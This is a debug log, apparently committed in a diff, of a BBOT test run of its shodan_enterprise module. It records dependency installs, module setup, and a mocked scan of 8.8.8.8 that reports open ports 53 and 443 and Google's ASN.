16:37:50,103 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk +2026-03-01 16:37:50,104 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk +2026-03-01 16:37:50,106 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk +2026-03-01 16:37:50,110 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk +2026-03-01 16:37:50,112 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk +2026-03-01 16:37:50,113 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk +2026-03-01 16:37:50,116 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk +2026-03-01 16:37:50,118 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk +2026-03-01 16:37:50,119 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk +2026-03-01 16:37:50,120 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk +2026-03-01 16:37:50,121 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk +2026-03-01 16:37:50,124 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk +2026-03-01 16:37:50,126 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk +2026-03-01 16:37:50,128 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk +2026-03-01 16:37:51,583 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:37:51,583 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:37:51,584 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:37:51,728 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:37:52,310 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:37:52,310 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:37:52,311 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:37:52,311 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:37:52,537 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:37:52,539 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:37:52,655 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:37:52,655 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:37:52,710 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:37:52,714 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:37:52,715 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:37:53,418 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:37:53,419 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:37:56,594 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:37:56,595 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:37:56,595 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:37:58,614 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:37:58,615 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:37:58,620 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:37:58,621 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:37:58,621 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:37:58,621 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:37:58,622 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:37:58,622 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:37:58,627 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ia61pa3328yi1fz8cpsn +2026-03-01 16:37:59,832 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:37:59,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:37:59,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:37:59,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:37:59,834 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:37:59,834 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:37:59,835 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:37:59,960 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:37:59,960 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:37:59,961 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:37:59,964 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:37:59,964 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:37:59,965 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:37:59,965 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:37:59,967 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:37:59,967 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:37:59,968 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:37:59,968 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:37:59,968 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:37:59,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:37:59,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:37:59,969 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:37:59,970 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:37:59,970 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:37:59,971 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:37:59,971 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:37:59,971 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:37:59,972 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:37:59,972 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:37:59,972 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:37:59,972 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:37:59,973 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:37:59,973 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:37:59,973 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:37:59,973 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:37:59,974 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:37:59,974 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:37:59,974 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:37:59,974 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:37:59,975 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:37:59,976 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:37:59,976 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:37:59,976 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:37:59,976 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:37:59,977 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:38:00,118 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_hq8crft5py +2026-03-01 16:38:00,118 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:38:00,226 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:38:00,226 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:38:00,226 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:38:00,230 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 16:38:00,329 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-01 16:38:00,329 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-01 16:38:00,331 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-01 16:38:00,332 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,333 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:38:00,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:38:00,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:38:00,335 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,337 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:38:00,339 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:38:00,339 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:38:00,341 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:38:00,342 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:38:00,344 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:38:00,344 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:38:00,348 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,349 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:38:00,349 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,350 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,350 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:38:00,351 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-01 16:38:00,351 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:38:00,352 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:38:00,352 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,464 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-01 16:38:00,477 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:38:00,498 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7f345dbae2e23485c46a32cf8141bb6802ddfee7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:38:00,499 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-01 16:38:00,499 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-01 16:38:00,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:38:00,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,524 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,525 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,526 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:38:00,526 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,527 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,528 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,529 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,529 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,530 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,531 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,532 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:38:00,532 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:38:00,533 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,533 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,534 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,534 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,535 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,536 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:38:00,537 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,538 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:38:00,538 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:38:00,538 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,539 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:38:00,540 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,540 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,541 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:38:00,541 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:38:00,542 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:38:00,542 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:38:00,543 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:38:00,543 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:38:00,600 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:38:00,602 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,602 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:38:00,603 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:38:00,604 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:38:00,604 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:38:00,605 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:38:00,606 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:38:00,607 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:38:00,607 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:38:00,608 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:38:00,608 